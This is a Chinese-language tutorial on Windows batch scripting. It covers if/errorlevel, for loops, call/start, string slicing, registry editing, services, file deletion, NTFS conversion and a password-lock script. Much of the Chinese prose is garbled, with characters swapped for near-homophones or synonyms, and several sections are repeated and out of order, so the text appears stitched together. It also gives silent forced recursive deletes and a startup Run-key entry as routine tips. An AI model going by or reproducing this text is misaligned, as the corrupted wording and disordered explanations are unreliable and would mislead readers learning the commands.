利用“CONVERT.exe”进行,解析如下:

CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity]
[/X]

volume 指定驱动器号(后面和一个冒号)、装载点或卷名。

/FS:NTFS 指定要被换成 NTFS 的卷。

/V 指定 Convert 应该据此详述模式运作。

/CvtArea:filename

将彻底目录中的一个继续文件指定为NTFS 系统文件的占据位符。

/NoSecurity 指定每个人且得看转换的文件和目录的平安设置。

/X 如果必要,先强行卸载卷。该卷的具有打开的句子柄则不算。

 

指定跳反至号签行,找到标签行后,程序用拍卖由生一行开始之命令。

次如下:

@ ECHO OFF

@ ECHO.

@ ECHO. 说 明

label标签的名可以管从,但是太是发含义之,字母前得加个冒号“:”来代表是字母是签。

@ ECHO

@ ECHO
NTFS是同一种植磁盘格式。该格式会存放超过4G之么文件(如高清电影文件),并不过针对

@ ECHO
文件夹进行加密,但生只毛病是DOS下无法访问。建议D盘及以后的转下NTFS格式,

@ ECHO
C盘如非必要可以免更换,FAT32与NTFS这片种格式的宣读写速度几乎是未曾差异的。

goto命令就是冲是冒号来找下同样步跨越到到那边。经常同 if
配合下,根据不同的格来实施不一之命令组。

@ ECHO

@ ECHO.

convert c: /fs:ntfs

:: D盘也变更成为 NTFS

convert d: /fs:ntfs

 

例题见“5.Pause 命令”

9. 博自我之文档

SET
SF=”HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders”

FOR /F “tokens=2,*” %%I IN (‘REG QUERY %SF% /v Personal 2^>NUL^|FIND
/I “Personal”‘) DO SET “myDoc=%%~J”

:: 复制文件及自我的文档

XCOPY /D /E /R /Y /C “%cd%\test.txt” “%myDoc%\test\”

4.Rem 命令

10 获取当前目录路径

cd ./

set CURR_PATH=%cd%

==========================================

语法:Rem Message…

实例:

3.IF-ERRORLEVEL

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败

IF ERRORLEVEL 0 ECHO 成功拷贝文件

 

如果文件拷贝成功,屏幕就见面展示“成功拷贝文件”,否则便会见显“文件拷贝失败”。

IF ERRORLEVEL
是因此来测试其的直达一个DOS命令的返回值的,注意就是达一个指令的回来值,而且回去值必须比照从生到有些序顺序判断。因此下的批判处理文件是错误的:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

CHO 成功拷贝文件

IF ERRORLEVEL 1 ECHO 未找到拷贝文件

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作

IF ERRORLEVEL 4 ECHO 拷贝过程遭到描绘盘错误

凭拷贝是否成功,后面的:

未找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程中形容盘错误

且将显示出。

以下即是几只常用命令的返回值及其代表的意思:

backup

0 备份成功

1 未找到备份文件

2 文件共享冲突阻止备份完成

3 用户之所以ctrl-c中止备份

4 由于致命之缪而备份操作停顿

diskcomp

0 盘比较相同

1 盘比较差

2 用户通过ctrl-c中止比较操作

3 由于致命的不当而比较操作停顿

4 预置错误中止比较

diskcopy

0 盘拷贝操作成

1 非致命盘读/写错

2 用户通过ctrl-c结束拷贝操作

3 因致命的处理错误使盘拷贝中止

4 预置错误阻止拷贝操作

format

0 格式化成功

3 用户通过ctrl-c中止格式化处理

4 因致命之处理错误使格式化中止

5 在提醒“proceed with format(y/n)?”下用户键入n结束

xcopy

0 成功拷贝文件

1 未找到拷贝文件

2 用户通过ctrl-c中止拷贝操作

4 预置错误阻止文件拷贝操作

5 拷贝过程被写盘错误

 

=============================================================

@echo off //不显示shell的命令。

Setlocal //环境改变单纯适用于之文件。

%OS% //为当前的操作系统。

Rem //注释一行文本。

Goto 标签 //改变执行各个,去标签位置.

:标签 //定义一个签。

Set 变量名叫=值 //定义变量

Not //取反

Netstat –na //显示当前让点用的捧口.

%0 %1 %2 //用于表示批判处理文件之参数0为令,共1-9只参数。

Shift //用于向前一个参数,原1变0,原2更换1.列调用同次shift向前同运动一个。

Call //调用外批处理公事要指令。

Start 命令 参数 //指示出在外一个窗口中开始运行命令。

=============================================================

:: 这段批处理程序可以自动装Java环境变量

 

@echo off

IF EXIST %1\bin\java.exe (

rem 如输入正确的 Java2SDK 安装目录,开始设置环境变量

@setx JAVA_HOME %1

@setx path %path%;%JAVA_HOME%\bin

@setx classpath %classpath%;.

@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar

@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar

@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar

@echo on

@echo Java 2 SDK 环境参数设置了,正常退出。

) ELSE (

IF “%1″==”” (

rem 如无提供安装目录,提示之后退出

@echo on

@echo 没有提供 Java2SDK 的装置目录,不做任何设置,现在退环境变量设置。

) ELSE (

rem 如果提供非空的安目录但从来不bin\java.exe,则指定的目也错误的目录

@echo on

@echo 非法的 Java2SDK 的设置目录,不举行其他设置,现在淡出环境变量设置。

)

)

 

(小技巧:用::代替rem)

想必遇见问题

注命令,在C语言中一定与/*…*/,它并无会见为实践,只是从一个诠释的意图,便于别人看与温馨之后改。

中文乱码

拿bat文件之编码改吗ANSI,UTF-8在win10自我立马儿会中文显示乱码。

Sample:@Rem Here is the description.

说明

正文部分内容转载自:http://m18333611647.blog.163.com/blog/static/225533041201422111365439/

5.Pause 命令

见面停顿批处理的履行并在屏幕及亮Press any key to
continue…的提拔,等待用户以任意键后连续

Sample:

@echo off

:begin

copy a:*.* d:\back

echo Please put a new disk into driver A

pause

goto begin

在这个例子中,驱动器 A 中磁盘上的兼具文件均复制到d:\back中。

显的信息提示而将其他一样布置磁盘放入驱动器 A 时,pause
命令会使程序挂于,以便你换磁盘,然后按任意键再次复制。

6.Call 命令

语法: call [[Drive:][Path] FileName [BatchParameters]] [:label
[arguments]]

参数: [Drive:][Path] FileName
指定要调用的批处理程序的职位与称号。filename 参数必须具有 .bat 或 .cmd
扩展名。

调用另一个批判处理程序,并且不停止父批处理程序。

倘未用call而直接调用别的批处理文件,那么执行完毕那个批处理公事后用无法回到时文件并履行时文件之累命令。

call 命令接受用作调用目标的价签。如果当本子或批处理公事外动
Call,它以不见面在命令行起作用。

Sample:call=”%cd%\test2.bat” haha kkk aaa (调用指定目录下之
test2.bat,且输入3单参数为他)

Sample:call test2.bat arg1 arg2 (调用同目录下的
test2.bat,且输入2个参数为他)

流动:可以调用自身(死循环、递归)

7.start 命令

调用外部程序,所有的 DOS命令 和 命令行程序 都可由 start命令 来调用。

侵犯常用参数:

MIN 开始时窗口最小化

SEPARATE 在分手的空中内开始 16 员 Windows 程序

HIGH 于 HIGH 优先级档次开始应用程序

REALTIME 以 REALTIME 优先级列开始应用程序

WAIT 启动应用程序并听候她了

parameters 这些吗传送至令/程序的参数

Sample:start /MIN test2.bat arg1 arg2 (调用同目录下之
test2.bat,且输入2单参数为他,且以窗口最小化)

Sample:e:\”program files”\极品列车时刻表\jpskb.exe
(文件路径名有空格时)

8.If 命令

if 表示用判断是否符合规定的口径,从而控制实施不一的吩咐。有三种植格式:

1) IF

语法: if [not] “参数” == “字符串” 待执行的下令

参数如果当(not表示未对等,下同)指定的字符串,则法建立,运行命令,否则运行下一致词。(注意是有限个相当号)

Sample: if “%1” == “a” format a:

Sample: if {%1} == {} goto noparms

2) if exist

语法: if [not] exist [路径\]文本名 待执行的下令

苟产生指定的文本,则法建立,运行命令,否则运行下一样句。

Sample: if exist config.sys edit config.sys
(表示要在就文件,则编辑它,用异常丢脸的网编辑器)

Sample: if exist config.sys type config.sys
(表示若在即文件,则显得其的情)

3) if errorlevel number

语法: if [not] errorlevel <数字> 待执行之通令

假如程序返回值等于指定的数字,则法建立,运行命令,否则运行下一致句。(返回值必须遵循自那个至多少的顺序排列)

Sample:

@echo off

XCOPY F:\test.bat D:\

IF ERRORLEVEL 1 (ECHO 文件拷贝失败

) Else IF ERRORLEVEL 0 ECHO 成功拷贝文件

pause

广大DOS程序在运作了后会回一个数字值用来代表程序运行的结果(或者状态),称为错误码errorlevel或称返回码。

泛的回来码为0、1。通过if
errorlevel命令可以判定程序的返值,根据不同之归值来支配实行不同的吩咐。

4) else

语法: if 条件 (成立时实行的下令) else (不立时实施之指令)

如若是多个原则,建议适当用括号将每条件确保起来,以免出错。

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else
(echo comment3 )

横流:如果 else 的语需要换行,if 执行的行尾需用“^”连接,并且 if
执行的动作需用(括起来),否则报错

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^

else (echo comment3 )

5) 比较运算符:

EQU – 等于 (一般采用“==”)

NEQ – 不等于 (没有 “!=”,改用“ if not 1==1 ”的写法)

LSS – 小于

LEQ – 小于或当

GTR – 大于

GEQ – 大于或等

9.choice 命令

choice
用这命令可以给用户输入一个字符(用于选择),从而根据用户之选取回到不同之
errorlevel,

然后配合 if errorlevel 选择运行不同之命。

瞩目:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有异,请用choice
/?查看用法。

choice 以是命令可以让用户输入一个字符,从而运行不同之命。

下时应该加/c:参数,c:后应写提示而输入的字符,之间无空格。它的返回码为1234……

Sample: choice /c:dme defrag,mem,end

将显示: defrag,mem,end[D,M,E]?

Sample:

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (应先判断数值最高的错误码)

if errorlevel 2 goto mem

if errotlevel 1 goto end

10.for 命令

for 命令是一个比较复杂的命,主要用来参数在指定的界定外循环执行命令。

1) for {%variable | %%variable} in (set) do command
[command-parameters]

%variable 指定一个十足字母可替换的参数。变量名称是别轻重缓急写的,所以 %i
不同让 %I

于批判处理文件被动用 FOR 命令时,指定变量建议就此 %%variable而毫无为此
%variable。

(set) 指定一个或者同组文件。可以使用通配符。

command 指定对每个文件实施的指令。

command-parameters 也一定命令指定参数或指令执行开关。

2) 如果命令扩展名被启用,下列额外的 FOR 命令格式会中支撑:

a.FOR /D %variable IN (set) DO command [command-parameters]

假若凑里含通配符,则指定同目录名匹配,而不跟公事称匹配。

b.FOR /R [[drive:]path] %variable IN (set) DO command
[command-parameters]

检查以 [drive:]path 为彻底之目录树,指向每个目录中之FOR 语词。

要是在 /R
后不曾点名目录,则用当前目录。如果凑才为一个单点(.)字符,则枚举该目录树。

c.FOR /L %variable IN (start,step,end) DO command [command-parameters]

该集表示坐增量式从开交结束之一个数字序列。

设:(1,1,5) 将生序列 1 2 3 4 5; 而(5,-1,1) 将有序列 (5 4 3 2 1)。

d.有或者尚未 usebackq 选项:

FOR /F [“options”] %variable IN (file-set) DO command

FOR /F [“options”] %variable IN (“string”) DO command

FOR /F [“options”] %variable IN (command) DO command

参数”options”为:

eol=c – 指一个行注释字符的终极(就一个,如“;”)

skip=n – 指以文书开始经常疏忽的行数。

delims=xxx – 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n – 指每行的啊一个标志为传送至每个迭代的 for
本身。这会促成额外变量名称的分配。

m-n格式为一个限制。通过 nth 符号指定 mth。

若是符号字符串中的尾声一个字符星号,那么额外的变量将在终极一个号解析之后分配并收受实践之保留文本。

usebackq – 指定新语法已以下类情况被使:

每当作命令执行一个晚引号的字符串并且一个单引号字符为文字符串命令并允许在
filenameset中采用对引号扩起文件名称。

3) Sample:

  1. 如下命令行会显示当前目录下所发因bat或者txt为扩展名的文件称。

for %%c in (*.bat *.txt) do (echo %%c)

a. 如下命令行会显示当前目录下具有包含有 e 或者 i 的目录名。

for /D %%a in (*e* *i*) do echo %%a

b. 如下命令行会显示 E盘test目录 下所有为bat或者txt为扩展名的文本称。

for /R E:\test %%b in (*.txt *.bat) do echo %%b

for /r %%c in (*) do (echo %%c) :: 遍历当前目录下有所文件

c. 如下命令将产生序列 1 2 3 4 5

for /L %%c in (1,1,5) do echo %%c

d. 以下简单句,显示当前底年月日和时

For /f “tokens=1-3 delims=-/. ” %%j In (‘Date /T’) do echo
%%j年%%k月%%l日

For /f “tokens=1,2 delims=: ” %%j In (‘TIME /T’) do echo %%j时%%k分

e. 将记事本中的情各一行前面去丢8个字符

setlocal enabledelayedexpansion

for /f %%i in (zhidian.txt) do (

set atmp=%%i

set atmp=!atmp:~8!

if {!atmp!}=={} ( echo.) else echo !atmp!

)

:: 读取记事本里之情节(使用 delims
是为了拿一行显示均,否则会以空格为分隔符)

for /f “delims=” %%a in (zhidian.txt) do echo.%%a

4) continue 和 break

以 goto 实现程序中常用之 continue 和 break 命令, 其实非常简单

continue: 在 for 循环的结尾一执行写及一个标签,跳反到当时位置即可

break: 在 for 循环的外场的下同样句写上一个签,跳反至马上位置即可

Sample: (伪代码)

for /F [“options”] %variable IN (command) DO (

… do command …

if … goto continue

if … goto break

… do command …

:continue

)

:break

季、其它命令

1. ping 命令

测试网连接状况跟消息管发送和收受状况。但是非克测试端口。

语法:ping IP地址或主机名 [-t] [-a] [-n count] [-l size]

参数含义:

-t 不停歇地朝目标主机发送数据;

-a 以IP地址格式来展示目标主机的网络地址;

-n count 指定要Ping多少次,具体次数由count来指定;

-l size 指定发送至目标主机的数据包的分寸。

Sample: ping 192.168.0.1 -t (不停歇的测试192.168.0.1,按ctrl+c停止)

Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >>
tmp.txt (ping一下备的局域网电脑)

2. telnet 命令

测试端口使用 telnet IP地址或主机名 端口,使用tcp协议的

Sample: telnet 192.168.0.1 80 (测试192.168.0.1的80端口)

3.color 命令

安背景及字体颜色

语法: color bf

b 是点名背景色的十六进制数字; f 指定前景颜色(即字体颜色)。

颜色值: 0:黑色 1:蓝色 2:绿色 3:湖蓝 4:红色 5:紫色 6:黄色 7:白色

8:灰色 9:淡蓝 A:淡绿 B:浅绿 C:淡红 D:淡紫 E:淡黄 F:亮白

要是无加任何参数,该命令会将颜色还原到 CMD.EXE 启动时之水彩。

万一少参数一样,视为无效输入。只有一个参数时,设置字体。

4. random 命令

发出随机数(正整数0~)

5. exit 命令

终结程序。即时是吃调用的次,结束后呢非会见回到原程序

6. shutdown命令

shutdown -s 关机

  1. 持有坐命令的帮扶信息

ver /?

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

任何急需之常用命令

type /?

find /?

findstr /?

copy /?

五、字符串处理

1) 分割字符串,以查看时吧条例

%源字符串:~起起值,截取长度%
(起始值从0开始;截取长度是可选的,如果简单逗号和截取长度,将会晤自于始值截取到结尾;

截取长度要是负数,表示截取到倒数第几个。)

“%time%” 显示如果:”11:04:23.03″ (完整的日”hh:mm:ss.tt”)

“%time:~0,5%”
显示”hh:mm”(即”11:04″),其中0表示从右边为左移位操作的个数,5表示于漏洞百出望右侧走操作的个数

“%time:~0,8%” 显示标准时间格式”hh:mm:ss”(即”11:04:23″,前8单字符串)

“%time:~3,-3%”显示”mm:ss”(即于第4独开始,截去最后3个的字符串)

“%time:~3%” 显示”04:23.03″(即夺丢前4独字符串)

“%time:~-3%” 显示”.tt”(即最后3个字符串)

上面的字串分割格式,也堪用于其他地方,如目录路径:”%cd:~0,10%”

2) 替换字符串

set a=”abcd1234″

echo %a% 显示:”abcd1234″

set a=%a:1=kk% 替换“1”为“kk”

echo %a% 显示:”abcdkk234″

3) 字符串合并

是因为并未一直的字符串合并函数,只能用笨方法了。

set str1=%str1%%str2% (合并 str1 和 str2)

4) 计算字符串长度

从未成的函数。如下程序下
goto形成巡回,不断用字符串截短1,并记下截短的次数,到字符串变成空时的次数虽长度。

set testStr=This is a test string

:: 将 testStr 复制到str,str 是独临时字符串

set str=%testStr%

:: 标签,用于goto跳转

:next1

:: 判断str是不是空,如果非是则履行下的语句

if not “%str%”==”” (

:: 算术运算,使num的价值由增1,相当给num++或者++num语句

set /a num+=1

:: 截取字符串,每次截短1

set “str=%str:~1%”

:: 跳转至next1标签: 这里以goto和标签,构成循环结构

goto next1

)

:: 当以上循环结构执行完毕时,会尽下的口舌

echo testStr=%testStr%

echo testStr的长度为:%num%

5) 截取字符串时,需要传递参数

直接 echo %args:~%num%,-5% 没道想只要之字符串,需要如下两步

setlocal enabledelayedexpansion

echo !args:~%num%,-5!

六、注册表操作

1) 备份注册表,将[HKEY_LOCAL_MACHINE …
Run]的内容,备份到“c:\windows\1.reg”

reg export
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
c:\windows\1.reg

reg export
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
c:\windows\2.reg

2) 修改/添加注册表内容

a.一般的长或修改

reg add “HKCU\Environment” /v Java_Home /t reg_sz /d
“D:\Java\jdk1.6.0_07” /f

及句解析:“HKCU”是“HKEY_CURRENT_USER”的缩写,不用缩写用全为可;

补给加名称为“Java_Home”的变量;类型为“reg_sz”,另一样种常见类型是“reg_dword”;值为
D:\Java\jdk1.6.0_07;

b.用变量

set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java

reg add “%SoftWareHome%Web Start\1.6.0_07” /v Home /t reg_sz /d
“%cd%\jre1.6.0_07\bin” /f

c.如果注册表的称号来空格,或者数用特殊符号时

reg add “%SoftWareHome2%\HelpCommands” /v “01:Online Documentation” /t
reg_sz /d “\”%cd%\Documentation\Index.htm\”” /f

招入值为(值用双勾号括起来的):”D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm”

reg add “%SoftWareHome2%\Paths” /v ReportTemplates /t reg_sz /d
“%cd%\Resource Files\Report Templates\\” /f

污染入值为(“\”结尾的): E:\Holemar\1.notes\90. Windows\Resource
Files\Report Templates\

d.增加空的内容

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared
Tools\MSConfig\startupreg\IMJPMIG8.1”

e.添加或修改默认值

reg add “%vpath%InstallPath” /ve /t reg_sz /d “%cd%” /f

此间用“/ve”来取代相似修改时之“/v 变量名”,即可修改默认值了

3) 删除注册表的内容

偶引号里面的凡注册表的目录,下面两句以去这引得下的装有消息

reg delete “HKEY_CURRENT_USER\Software\RealVNC” /f

reg delete “HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC” /f

双双引号里面的凡注册表的目录,下面一词以去这引得下指定的某某信息

reg delete “HKEY_LOCAL_MACHINE\Software\RealVNC” /v VNC_Server /f

4) 注册表的常用位置

a.系统启动项:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

example: REG ADD
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
/v VNC_Server /t REG_SZ /d “%cd%\VNC_Server.bat” /f

b.系统环境变量:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Environment]

c.时用户的环境变量:

[HKEY_CURRENT_USER\Environment]

5)
修改注册表之后,结束并再加载explorer.exe进程,可刷新注册表,令其收效

taskkill /f /im explorer.exe >nul

start “” “explorer.exe”

七、系统服务

1) 停止服务:NET STOP 服务名

起先服务:NET Start 服务名

2) 设置启动项目

自动: SC CONFIG 服务名 START= auto

手动: SC CONFIG 服务名 START= demand

已禁用:SC CONFIG 服务名 START= disabled

把:“START= ”等号后要要有一个空格。(start还有boot,system两只价)

Sample: SC CONFIG Spooler START= demand
(打印机加载项,设置成手动,默认自动)

3) 查看系统服务:start %SystemRoot%\system32\services.msc /s

八、setlocal与变量延迟

0)
在没有开启变量延迟的情景下,某修命令执行被的变量改变,必须顶下一样长条命令才能够体现。

此外如for命令等,其后之所以同针对性圆括号闭合的保有语句为当一行。

example:

set a=4

set a=5 & echo %a%

结果:4

为得以本着这种体制加以利用,如下的变量交换

example:

set var1=abc

set var2=123

echo 交换前: var1=%var1% var2=%var2%

set var1=%var2%& set var2=%var1%

echo 交换后: var1=%var1% var2=%var2%

1) 启动批处理公事中环境变量的本地化。本地化将持续至起匹配的 endlocal
命令或者到批处理文件结尾为止。

语法: setlocal {enableextension | disableextensions}
{enabledelayedexpansion | disabledelayedexpansion}

enableextension: 启用命令扩展,直到出现匹配的 endlocal 命令,无论
setlocal 命令之前的装哪些。

disableextensions: 禁用命令扩展,直到出现匹配的 endlocal 命令,无论
setlocal 命令之前的安哪些。

enabledelayedexpansion: 启用延迟的环境变量扩展,直到出现匹配的 endlocal
命令,无论 setlocal 命令之前的设置什么样。

disabledelayedexpansion: 禁用延迟的环境变量扩展,直到出现匹配的 endlocal
命令,无论 setlocal 命令之前的装置什么样。

2)
为了能够感知环境变量的动态变化,批处理规划了变量延迟。简单的话,在读取了平等长长的完整的说话之后,不立即对该行的变量赋值,而会于某单条语句子执行前还展开赋值,也就是说“延迟”了针对性变量的赋值。

examle:

setlocal enabledelayedexpansion

set a=4

set a=5 & echo !a!

结果: 5

变量延迟的起步语句是“setlocal
enabledelayedexpansion”,并且变量要为此相同对叹号“!!”括起来

由起步了变量延迟,所以批处理能够感知到动态变化,即无是预先给该行变量赋值,而是于运行过程遭到被变量赋值,因此此时a的价值就是5了

另外,启动变量延迟,“%”的变量还是匪更换

example2:

setlocal enabledelayedexpansion

for /l %%i in (1,1,5) do (

set a=%%i

echo !a!

)

结果,打印从1及5;如果无变量延迟,一个变量也未尝打印

九、文件处理

1.删除

1) 删除一个文本要多只文件

del /s /q /f d:\test\a.bat

拿直接删除d:\test\a.bat,没有任务提示

del temp\* /q /f /s

以直去 本目录的 temp 目录的具有文件,没有任务提示

去文件之时节可使用“*”作通配符

2) 删除一个空目录

rd /q /s d:\test\log

用直删除d:\test\log目录,如果log目录里来文件拿无法抹

3) 删除一个非空目录 (必须指定目录名称)

rmdir /q /s d:\test\logs

不能不指定目录名称,不可知应用通配符

/S 除目录本身他,还用去指定目录下的所有子目录

/Q 安静模式,带 /S 删除目录树时无求确认

管里面是否来文件要文件夹将总体一直删除

2.开立目录

MKDIR [drive:]path

MD [drive:]path

途径有空格时,可以为此对唤起号括起来,也得以就此   替代

履行有:

一、小摘录:

  1. 调用其他程序时,对文件的轻重缓急写不灵动,文件后缀也只是忽略

苟:start LeapFTP.exe 与 start leapftp
效果等同,都是运行“LeapFTP.exe”文件

每行的始的字符串会自行搜索程序来运作,还可用双引号引起来(文件称或目录名含空格时务必用)

如:”D:\Program Files\Leap FTP.exe”

“LeapFTP.exe” 可正常运行文件,start “” “LeapFTP.exe”
也可健康运作文件(注意,第一单参数是窗口展示的题目)

  1. copy C:\test\*.* D:\back
    (复制C盘test文件夹的所有文件(不包文件夹及子文件夹里之东西)到D盘的back文件夹)

  2. dir c:\*.* > a.txt (将c盘文件列表写副 a.txt 中)

  3. > 生成文件并写副内容(如果出就文件则盖), >> 文件里搭内容

  4. md d:\aa (创建文件夹)

  5. 当命令末尾加上“>NUL 2>NUL”,表示隐蔽返回信息。

  6. 候用户输入: set /p 变量名=屏幕显示信息。 Sample:set /p
    pass=请输入密码:

  7. 叫用户以回车退出

聊技巧(替代pause),文件之结尾一词:set /p
tmp=操作完,请遵掉车键退出…

10.设置标题: title JDK安装

11.安屏幕显示颜色,如绿色: color 0a

12.清屏: cls

13.翻自己的IP:

for /f “tokens=15” %%i in (‘ipconfig ^| find /i “ip address”‘) do set
ip=%%i

echo %ip% (这时的 %ip% 就是友好之IP地址)

  1. 改文件的创新日期

copy 文件名+,,>nul
(修改为眼前时刻,如果要改为指定时间,先改系统时,再转回系统时)

  1. 修改文件的继缀名

ren C:\test\*.jpg *.JPG

for /r %%c in (*.jpg) do (ren %%c *.JPG) ::
修改时目录下的有着文件之继缀名,包括子目录的

  1. 修改文件的文书称

rename test.jpg test2.JPG

rename *.jpg *.888.JPG

  1. 查看DNS、IP、Mac等

1) Win98: winipcfg

2) Win2000以上: Ipconfig /all

3) NSLOOKUP

18.查看IP上的共享资源,就可以

net view 192.168.10.8

19.共享

A.查看君机器的共享资源: net share

B.手工删除共享

net share 共享资源名称$ /d

注意$后出空格。

C.增加一个共享:

net share mymovie=e:\downloads\movie /users:3

mymovie 共享成功。 同时限制链接用户数为3人数。

20.开拓某网站

start iexplore.exe http://www.baidu.com

二、实例:

  1. 转变 reg 文件,运行它们,再去其

echo “更改windows安装文件的路子”

echo Windows Registry Editor Version 5.00 > c:\setupreg.reg

echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup]
>> c:\setupreg.reg

echo “ServicePackSourcePath”=”D:\\Win2003\\” >>
c:\setupreg.reg

echo “SourcePath”=”D:\\Win2003\\” >> c:\setupreg.reg

:: 写副注册表

regedit /S c:\setupreg.reg

:: 删除注册表文件

del c:\setupreg.reg

2.调据此了exe文件,结束后无关,解决方法

于是start命令运行文件,如:

start LeapFTP.exe 192.168.0.100

3.装置系统环境变量

:: 有这个环境变量,则未需要再安装,直接了

if not “%JAVA_HOME%” == “” exit

:: 设置环境变量的地方

set inputJavaHome=%cd%\jdk1.6.0_07

:: 设置环境变量,也得安装当前用户的变量

set
EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Environment

echo 正在设置环境变量,请稍候……

reg add “%EnvironmentHome%” /v JAVA_HOME /t reg_sz /d
“%inputJavaHome%” /f

reg add “%EnvironmentHome%” /v ClassPath /t reg_sz /d
“.;%%JAVA_HOME%%\lib” /f

reg add “%EnvironmentHome%” /v Path /t reg_sz /d
“%%JAVA_HOME%%\bin;%Path%” /f]

:: 刷新,令环境变量生效

taskkill /f /im explorer.exe >nul

start “” “explorer.exe”

4.藏某目录的装有文件和文件夹

cd /d 要隐藏的目(如:D:)

for /f “usebackq delims=” %%A in (`dir /a /b`) do (attrib “%%A” -r +h
-s)

5.每当批判处理中使用密码。密码为admin,输入是,跳反到next1
,若输入密码错误3坏,则锁屏。。

@echo off

set num=0

:11

set /p pass=请输入密码:

if “%pass%”==”admin” goto next1

set /a num=%num% + 1

if %num%==3 goto no1

goto 11

:no1

%windir%\system32\rundll32.exe user32.dll,LockWorkStation

goto 11

:next1

echo 密码是,执行下的程式

pause

6.清空回收站(未得逞)

@echo off

del /f /s /q c:\recycler\*.*

::刷新屏幕

taskkill /f /im explorer.exe >nul

start “” “explorer.exe”

7.深受系统断断续续地叫

@echo off

:begin

:: 发出鸣叫(“�”实际就是是ASCII码值为7底特殊字符(蜂鸣键beep)

echo �

:: 让程序暂停一聊阵子

ping -n 1 -l 1 127.1>nul

goto :begin

8.用 FAT 卷转换成 NTFS

利用“CONVERT.exe”进行,解析如下:

CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity]
[/X]

volume 指定驱动器号(后面和一个冒号)、装载点或卷名。

/FS:NTFS 指定要给更换成 NTFS 的卷。

/V 指定 Convert 应该据此详述模式运行。

/CvtArea:filename

用干净目录中之一个延续文件指定为NTFS 系统文件的挤占位符。

/NoSecurity 指定每个人还可以看转换的文书与目录的安设置。

/X 如果必要,先强行卸载卷。该卷的所有打开的句子柄则不行。

次如下:

@ ECHO OFF

@ ECHO.

@ ECHO. 说 明

@ ECHO

@ ECHO
NTFS是一致栽磁盘格式。该格式会存过4G之么文件(如高清电影文件),并而对

@ ECHO
文件夹进行加密,但产生个短是DOS下无法访问。建议D盘及后的转以NTFS格式,

@ ECHO
C盘如非必要可以免转移,FAT32与NTFS这片种植格式的朗读写速度几乎是无异样之。

@ ECHO

@ ECHO.

convert c: /fs:ntfs

:: D盘也移成为 NTFS

convert d: /fs:ntfs

  1. 抱自我之文档

SET
SF=”HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders”

FOR /F “tokens=2,*” %%I IN (‘REG QUERY %SF% /v Personal 2^>NUL^|FIND
/I “Personal”‘) DO SET “myDoc=%%~J”

:: 复制文件及自之文档

XCOPY /D /E /R /Y /C “%cd%\test.txt” “%myDoc%\test\”

==========================================

实例:

3.IF-ERRORLEVEL

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败

IF ERRORLEVEL 0 ECHO 成功拷贝文件

一旦文件拷贝成功,屏幕就见面显得“成功拷贝文件”,否则即会见来得“文件拷贝失败”。

IF ERRORLEVEL
是因此来测试其的达一个DOS命令的返回值的,注意就是达标一个令的回值,而且回去值必须按从十分到稍微程序顺序判断。因此下的批处理文件是荒谬的:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

CHO 成功拷贝文件

IF ERRORLEVEL 1 ECHO 未找到拷贝文件

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作

IF ERRORLEVEL 4 ECHO 拷贝过程被描绘盘错误

任凭拷贝是否成,后面的:

切莫找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程被形容盘错误

且以显得出。

以下就是几乎独常用命令的返回值及其代表的含义:

backup

0 备份成功

1 未找到备份文件

2 文件共享冲突阻止备份完成

3 用户用ctrl-c中止备份

4 由于致命之失实而备份操作停顿

diskcomp

0 盘比较一致

1 盘比较差

2 用户通过ctrl-c中止比较操作

3 由于致命之荒谬而比较操作停顿

4 预置错误中止比较

diskcopy

0 盘拷贝操作成

1 非致命盘读/写错

2 用户通过ctrl-c结束拷贝操作

3 因致命之处理错误使盘拷贝中止

4 预置错误阻止拷贝操作

format

0 格式化成功

3 用户通过ctrl-c中止格式化处理

4 因致命之处理错误使格式化中止

5 在提示“proceed with format(y/n)?”下用户键入n结束

xcopy

0 成功拷贝文件

1 未找到拷贝文件

2 用户通过ctrl-c中止拷贝操作

4 预置错误阻止文件拷贝操作

5 拷贝过程被写盘错误

=============================================================

@echo off //不显示shell的命令。

Setlocal //环境改变才适用于此文件。

